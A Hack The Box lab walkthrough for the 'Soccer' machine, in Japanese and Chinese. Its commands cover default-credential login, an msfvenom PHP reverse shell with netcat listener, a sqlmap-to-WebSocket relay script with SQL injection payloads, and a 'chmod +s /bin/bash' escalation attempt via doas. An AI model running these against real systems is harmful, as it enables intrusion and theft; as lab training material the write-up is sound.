【Hack The Box】足球【攻略】
一开始
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Soccer」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
请不要滥用这些技术,而是应该将其用于为社会做出贡献。违反法律是不可取的。
探索 – 1
端口扫描
今回はRustScanで高速スキャンしてみた。
┌──(root?kali)-[~]
└─# rustscan -a 10.10.11.194 --top --ulimit 10000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
?HACK THE PLANET?
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.194:22
Open 10.10.11.194:80
Open 10.10.11.194:9091
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2022-12-23 17:26 JST
Initiating Ping Scan at 17:26
Scanning 10.10.11.194 [4 ports]
Completed Ping Scan at 17:26, 0.35s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:26
Completed Parallel DNS resolution of 1 host. at 17:26, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:26
Scanning 10.10.11.194 [3 ports]
Discovered open port 80/tcp on 10.10.11.194
Discovered open port 22/tcp on 10.10.11.194
Discovered open port 9091/tcp on 10.10.11.194
Completed SYN Stealth Scan at 17:26, 0.30s elapsed (3 total ports)
Nmap scan report for 10.10.11.194
Host is up, received reset ttl 63 (0.27s latency).
Scanned at 2022-12-23 17:26:11 JST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
9091/tcp open xmltec-xmlmail syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (172B)
似乎已公开端口22、80和9091。实际上,当我尝试访问80端口时,得到了”无法访问soccer.htb”的提示,因此需要设置DNS配置。
收藏
域名环境设置
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにしとく。
┌──(root?kali)-[~/work]
└─# vim /etc/resolv.conf
请提供以下内容。
nameserver 127.0.0.1
接下来,我们要修改/etc/host文件。
┌──(root?kali)-[~/work]
└─# vim /etc/hosts
请投入以下内容。
10.10.11.194 soccer.htb
疎通確認を行う。
┌──(root?kali)-[~]
└─# ping soccer.htb
网站搜索
由于Http服务可用,所以我们会从一种元阅读的角度开始对网站进行搜索,因为我猜想网页上可能存在漏洞。
Subdomain探索
请从以下网站下载子域名列表。
┌──(root?kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffufで探索。特段それっぽいのはなさそう。
┌──(root?kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://soccer.htb/ -H "HOST: FUZZ.soccer.htb" -fs 178 -t 60
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://soccer.htb/
:: Wordlist : FUZZ: ./bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.soccer.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 60
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 219 req/sec :: Duration: [0:09:28] :: Errors: 0 ::
ディレクトリ探索
使用dirsearch进行探索。
┌──(root?kali)-[~]
└─# dirsearch -u http://soccer.htb/ 1 ⨯
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/soccer.htb/-_22-12-23_17-30-18.txt
Error Log: /root/.dirsearch/logs/errors-22-12-23_17-30-18.log
Target: http://soccer.htb/
[17:30:19] Starting:
[17:30:27] 403 - 564B - /.ht_wsr.txt
[17:30:27] 403 - 564B - /.htaccess.bak1
[17:30:27] 403 - 564B - /.htaccess.orig
[17:30:27] 403 - 564B - /.htaccess.sample
[17:30:27] 403 - 564B - /.htaccess.save
[17:30:27] 403 - 564B - /.htaccess_extra
[17:30:27] 403 - 564B - /.htaccess_orig
[17:30:27] 403 - 564B - /.htaccess_sc
[17:30:27] 403 - 564B - /.htaccessOLD2
[17:30:27] 403 - 564B - /.htaccessBAK
[17:30:27] 403 - 564B - /.htaccessOLD
[17:30:27] 403 - 564B - /.htm
[17:30:27] 403 - 564B - /.html
[17:30:27] 403 - 564B - /.htpasswd_test
[17:30:27] 403 - 564B - /.httr-oauth
[17:30:27] 403 - 564B - /.htpasswds
[17:30:50] 403 - 564B - /admin/.htaccess
[17:30:59] 403 - 564B - /administrator/.htaccess
[17:31:02] 403 - 564B - /app/.htaccess
[17:31:25] 200 - 7KB - /index.html
Task Completed
アクセス拒否されているリソースが大半である。実際にアクセスしてみてどういったWebサイトか探ってみたが特段Submitできそうなところもないので更にディレクトリ探索をFFuFで実施していく。
サブドメインリストを引っ張ってきたサイトからWebコンテンツリストを持ってくる。
┌──(root?kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-small.txt
进行模糊测试。
┌──(root?kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://soccer.htb/FUZZ -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://soccer.htb/FUZZ
:: Wordlist : FUZZ: ./directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
# [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 270ms]
# directory-list-2.3-small.txt [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 269ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 272ms]
# [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 280ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 282ms]
# on at least 3 different hosts [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 282ms]
[Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]
# [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# Copyright 2007 James Fisher [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 285ms]
# [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]
tiny [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 263ms]
[Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 272ms]
:: Progress: [87664/87664] :: Job [1/1] :: 365 req/sec :: Duration: [0:04:17] :: Errors: 0 ::
「tiny」のディレクトリ階層が見つかったので更に探っていく。
┌──(root?kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://soccer.htb/tiny/FUZZ -t 50
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://soccer.htb/tiny/FUZZ
:: Wordlist : FUZZ: ./directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
# on at least 3 different hosts [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 282ms]
# [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 282ms]
[Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 283ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 327ms]
# directory-list-2.3-small.txt [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 331ms]
# [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 330ms]
# Copyright 2007 James Fisher [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]
# [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 334ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 334ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 335ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 336ms]
# [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 336ms]
uploads [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 281ms]
[Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 274ms]
:: Progress: [87664/87664] :: Job [1/1] :: 178 req/sec :: Duration: [0:10:06] :: Errors: 51 ::
「/tiny/uploads」の階層が見つかった。ここから更に階層を探ってみたが良さそうな物は見つからなかった。
そこで実際に「tiny」の階層へアクセスしてみると以下のログイン画面が出てきた。

Tiny File Manager を使っているようだ。
初始访问 – 第1步
我决定调查这个人的身份认证信息。
因为下面有默认的账户密码,所以我尝试了一下,竟然成功了!
默认用户名/密码:admin/admin@123和user/12345。

用Kali将这段Exploit代码引入进去。
┌──(root?kali)-[~]
└─# searchsploit -p 50828
Exploit: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/50828
Path: /usr/share/exploitdb/exploits/php/webapps/50828.sh
Codes: CVE-2021-45010, CVE-2021-40964
Verified: False
File Type: UTF-8 Unicode text

──(root?kali)-[~/work]
└─# ./50828.sh http://soccer.htb/tiny/ admin admin@123 1 ⨯
/usr/bin/curl
[✔] Curl found!
/usr/bin/jq
[✔] jq found!
[+] Login Success! Cookie: filemanager=lpj4uvl4vc8u36nrghgi2fnc11
[*] Try to Leak Web root directory path
[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : /var/www/html/tiny/
[-] File Upload Unsuccessful! Exiting!
Exploitは通りそうだが、Payloadを打ち込むための書き込み権限がないようである。
Persistence – 1
由于「50828.sh」的Exploit无法使用,我打算直接从Web上输入ReverseShell。我计划利用以下非常方便的网站。
┌──(root?kali)-[~/work]
└─# msfvenom -p php/reverse_php LHOST=10.10.14.72 LPORT=4444 -o shell.php 1 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3018 bytes
Saved as: shell.php
受け側も用意しておく。
┌──(root?kali)-[~/work]
└─# nc -lvnp 4444
listening on [any] 4444 ...

おおお!!!シェルゲットだぜ!!!
…だが「user.txt」を見ることはできない。homeディレクトリ階層を見た感じ「player」のユーザのシェル権限を取得しないといけないようである。
发现-2

┌──(root?kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.10.11.194 soc-player.soccer.htb

Websocketかぁ…わっかんねぇ…
初始访问-2
このシステムの動作をなんとなくで見てると、ある程度どういった動作をしているかわかったりする…
これはWeb開発者向けの感覚になるのだが、この通信はTicketIDを送信してそのIDを検索し、あればExitsと回答する通信を返していると判断される。
バックエンドでSQLをたたいているソースがあったりしそう。
更にはWebsocketを用いた最近のCTFではSQLiを試すことで突破できることも多くなってきている。
所以,总之,我打算先试试SQLi。
※实际上这个部分只是凭感觉做的,对不起,在我提前说的事,总之,我好像成功了(笑)。
在Websocket上使用sqlmap
我认为在尝试SQLi时,经常使用的工具是sqlmap。然而,这个工具似乎没有考虑到WebSocket通信。
所以,我自己制作了一个将sqlmap的HTTP通信转换为WebSocket的工具。
参考了以下网站进行创建。
コードは以下のようになった。
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
# 今回のWebsocketの通信先
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message #ここはWebsocketで送っている項目「id」に変換する。
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
このsqlmap_on_ws.pyを起動する前にwebsocketのパッケージがない場合は以下のコマンドでインストールしておく。
┌──(root?kali)-[~]
└─# pip install websockets
启动一个代理,用于将从sqlmap发送的请求转换成WebSocket。该代理将在8081端口接收请求。
┌──(root?kali)-[~]
└─# python3 sqlmap_on_ws.py
一旦启动后,使用SQLmap进行SQL注入开始。首先从数据库名称开始提取。
┌──(root?kali)-[~]
└─# sqlmap -u "http://localhost:8081/?id=1" --batch --dbs 1 ⨯
/usr/bin/sqlmap:21: DeprecationWarning: The distutils package is deprecated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential alternatives
import distutils
__H__
___ ___[(]_____ ___ ___ {1.5.9#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:34:53 /2022-12-24/
[14:34:53] [INFO] testing connection to the target URL
[14:34:54] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.4')
[14:34:54] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:34:55] [INFO] testing if the target URL content is stable
[14:34:56] [INFO] target URL content is stable
[14:34:56] [INFO] testing if GET parameter 'id' is dynamic
[14:34:57] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:34:58] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:34:59] [INFO] testing for SQL injection on GET parameter 'id'
[14:34:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:35:05] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:35:06] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[14:35:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:35:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:35:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:35:27] [INFO] testing 'Generic inline queries'
[14:35:29] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:35:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:35:40] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:35:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:35:59] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[14:35:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:35:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:36:24] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[14:36:50] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[14:36:50] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 99 HTTP(s) requests:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 6051 FROM (SELECT(SLEEP(5)))ohkl)
---
[14:37:19] [INFO] the back-end DBMS is MySQL
[14:37:19] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
[14:37:24] [INFO] fetching database names
[14:37:24] [INFO] fetching number of databases
[14:37:24] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
5
[14:37:43] [INFO] retrieved:
[14:37:49] [INFO] adjusting time delay to 2 seconds due to good response times
mysql
[14:39:00] [INFO] retrieved: information_schema
[14:43:18] [INFO] retrieved: performance_schema
[14:47:31] [INFO] retrieved: sys
[14:48:18] [INFO] retrieved: soc
[14:49:15] [ERROR] invalid character detected. retrying..
[14:49:15] [WARNING] increasing time delay to 3 seconds
cer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

┌──(root?kali)-[~]
└─# sqlmap -u "http://localhost:8081/?id=1" --batch dbs soccer_db --tables

Persistence – 2

太好了!成功了!!!
成功取得一般用户权限。
特权升级
收集情报
暂时先从收集升职所需的信息开始。
请提供上述命令的中文本地化版本:sudo -l
我在想能否通过”没有密码”执行特权命令,然后我会用sudo -l进行确认。
player@soccer:/tmp$ sudo -l
一点好消息都没传来。
潘斯派伊
我在想有没有什么好的进程在运行,然后我就运行pspy。
从以下的网站获取pspy的可执行文件。请下载64位版本。
购买后,我们将启动一个简易的Web服务器,将执行文件发送到目标设备。
┌──(root?kali)-[~/work]
└─# python3 -m http.server 80
从攻击目标服务器下载该文件,然后我会检查我的IP。
※在这种情况下是tun0。
┌──(root?kali)-[~/work]
└─# ip a 1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.14.72/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::101a/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy
valid_lft forever preferred_lft forever
攻撃対象サーバへ転送します。
player@soccer:/tmp$ wget http://10.10.14.72/pspy64
开始执行吧!
player@soccer:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2022/12/24 11:07:53 CMD: UID=1001 PID=7904 | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2022/12/24 11:07:53 CMD: UID=1001 PID=4005 | -bash
2022/12/24 11:07:53 CMD: UID=1001 PID=3735 | /lib/systemd/systemd --user
2022/12/24 11:07:53 CMD: UID=1001 PID=26549 | ./pspy64
这边也没有特别有益的信息流传出来。
linpeas 林皮斯
那么我就简单地收集各种信息试试看。
所以我将使用Linpeas。我比较喜欢Linemun。
与pspy类似,从以下网站下载linpeas.sh。
我会像pspy一样将其转发到攻击目标服务器。
那好,我会执行。
player@soccer:/tmp$ ./linpeas.sh
すると以下のように「/usr/local/bin」配下に実行できそうなやつらがいた。
...省略
╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path
/usr/bin/rescan-scsi-bus.sh
/usr/bin/gettext.sh
╔══════════╣ Executable files potentially added by user (limit 70)
2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit
2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas
2022-11-17+09:09:15.5399067120 /usr/local/bin/doas
2022-11-15+21:42:19.3514476930 /etc/grub.d/01_track_initrdless_boot_fallback
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_terminal.sh
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_keyboard.sh
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_font.sh
╔══════════╣ Unexpected in root
/data
/vagrant
...省略
随时
doasの実行ファイルが何なのかよくわからないので、近辺にあった「doasedit」を見てみる。
※後で調べてみたら簡単に理解できました(笑)、以下のサイトを参考にしてください。
player@soccer:/usr/local/bin$ more doasedit
#!/bin/sh
# Copy an existing text file to a temporary location. Then
# Edit the file.
# Attempt to then transfer the temporary file back to the original
# location if the temprary file has been altered.
# Conclude with a little clean-up.
# Try to avoid deleting any changes.
if [ $# -lt 1 ]
then
echo "usage: $0 text-file"
exit 1
fi
if [ ! -f "$1" ]
then
echo "File does not exist or is a special file/link."
exit 2
fi
if [ -L "$1" ]
then
echo "File is a symbolic link. Refusing to edit."
exit 2
fi
if [ ! -r "$1" ]
then
echo "This user is unable to read the specified file."
exit 3
fi
temp_file=$(mktemp --tmpdir doasedit.XXXXXXXX)
if [ ! $? ]
then
echo "Could not create temporary file."
exit 4
fi
cp "$1" "$temp_file"
if [ ! $? ]
then
echo "Unable to copy file $1"
exit 5
fi
# If $VISUAL fails, run $EDITOR.
# $EDITOR should be a line editor functional without advanced terminal features.
# $VISUAL is a more advanced editor such as vi.
"${VISUAL:-vi}" "$temp_file"
if [ ! $? ]
then
"${EDITOR:-ex}" "$temp_file"
if [ ! $? ]
then
echo "Could not run visual editor $VISUAL"
echo "Could not run editor $EDITOR"
echo "Please make sure the VISUAL and/or EDITOR variables are set."
rm -f "$temp_file"
exit 6
fi
fi
# Check to see if the file has been changed.
cmp -s "$1" "$temp_file"
status=$?
if [ $status -eq 0 ]
then
echo "File unchanged. Not writing back to original location."
rm -f "$temp_file"
exit 0
fi
# At this point the file has been changed. Make sure it still exists.
if [ -f "$temp_file" ]
then
doas cp "$temp_file" "$1"
cmp -s "$temp_file" "$1"
status=$?
# If file fails to copy, do not do clean-up
while [ $status -ne 0 ]
do
echo "Copying file back to $1 failed. Press Ctrl-C to abort or Enter to try again."
read abc
doas cp "$temp_file" "$1"
cmp -s "$temp_file" "$1"
status=$?
done
fi
# Clean up
rm -f "$temp_file"
exit 0
这里有一个doas cp “$temp_file” “$1″。看起来像是一个可以执行命令的文件。嘛,试着运行一下吧。
player@soccer:/usr/local/bin$ doas
usage: doas [-nSs] [-a style] [-C config] [-u user] command [args]
ほう、[-u user]とあるし、ユーザを指定して実行できるのかな?
manコマンドで確認してみた。
DOAS(1) BSD General Commands Manual DOAS(1)
NAME
doas — execute commands as another user
SYNOPSIS
doas [-nSs] [-a style] [-C config] [-u user] [--] command [args]
DESCRIPTION
The doas utility executes the given command as another user. The command argument is mandatory unless -C, -S, or -s is specified.
The options are as follows:
-a style Use the specified authentication style when validating the user, as allowed by /etc/login.conf. A list of doas-specific authentication
methods may be configured by adding an ‘auth-doas’ entry in login.conf(5).
-C config Parse and check the configuration file config, then exit. If command is supplied, doas will also perform command matching. In the
latter case either ‘permit’, ‘permit nopass’ or ‘deny’ will be printed on standard output, depending on command matching results. No
command is executed.
-n Non interactive mode, fail if doas would prompt for password.
-S Same as -s but simulates a full login. Please note this may result in doas applying resource limits to the user based on the target
user's login class. However, environment variables applicable to the target user are still stripped, unless KEEPENV is specified.
-s Execute the shell from SHELL or /etc/passwd.
-u user Execute the command as user. The default is root. Please note: On some systems multiple usernames can resolve to one UID. For exam‐
ple, root and toor both resolve to UID 0 on FreeBSD. Please see the "as" syntax section of the doas.conf manual page for details on how
doas handles this situation.
-- Any dashes after a combined double dash (--) will be interpreted as part of the command to be run or its parameters. Not an argument
passed to doas itself.
EXIT STATUS
The doas utility exits 0 on success, and >0 if an error occurs. It may fail for one of the following reasons:
• The config file /usr/local/etc/doas.conf could not be parsed.
• The user attempted to run a command which is not permitted.
• The password was incorrect.
• The specified command was not found or is not executable.
SEE ALSO
su(1), doas.conf(5)
HISTORY
The doas command first appeared in OpenBSD 5.8.
AUTHORS
Ted Unangst <tedu@openbsd.org>
BSD June 11, 2016 BSD
Manual page doas(1) line 1/52 (END) (press h for help or q to quit)
哦,看起来可以在root级别下运行。通过这个doas,能够在root级别下执行有效载荷吗?
尝试创建以下Shell脚本并执行一下。
chmod +s /bin/bash
player@soccer:/usr/local/bin$ doas -u root /tmp/shell.sh
doas: Operation not permitted
あかん、うまくいかん。許されなかった…
doasで実行してたコマンドがcpとかだったので「/bin」系の配下にないと出来なさそうな感覚がある。
「/bin」系でWrite権限ある階層を探してみる。
以下のlinpeasの出力結果を確認する。
...省略
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/player
/run/lock
/run/screen
/run/user/1001
/run/user/1001/dbus-1
/run/user/1001/dbus-1/services
/run/user/1001/gnupg
/run/user/1001/inaccessible
/run/user/1001/systemd
/run/user/1001/systemd/transient
/run/user/1001/systemd/units
/snap/core20/1695/run/lock
/snap/core20/1695/tmp
/snap/core20/1695/var/tmp
/tmp
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix
#)You_can_write_even_more_files_inside_last_directory
/var/crash
/var/lib/php/sessions
/var/tmp
/var/tmp/cloud-init
/var/www/html/tiny/uploads
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group player:
/usr/local/share/dstat
/tmp/linpeas.sh
/tmp/LinEnum.sh
...省略
「/bin」系ではないが、ここで気になる出力を発見する。
/usr/local/share/dstatが書き込み可能ということだ。dstatといえばLinuxのリソース監視で使われているものである。
この階層に何かペイロードを書き込んでdstatコマンド経由で特権昇格できるかも…
dstat 数据统计
我先用dstat看看能做些什么。
player@soccer:/usr/local/share/dstat$ dstat -h
Usage: dstat [-afv] [options..] [delay [count]]
Versatile tool for generating system resource statistics)
Dstat options:
-c, --cpu enable cpu stats
-C 0,3,total include cpu0, cpu3 and total
-d, --disk enable disk stats
-D total,hda include hda and total
-g, --page enable page stats
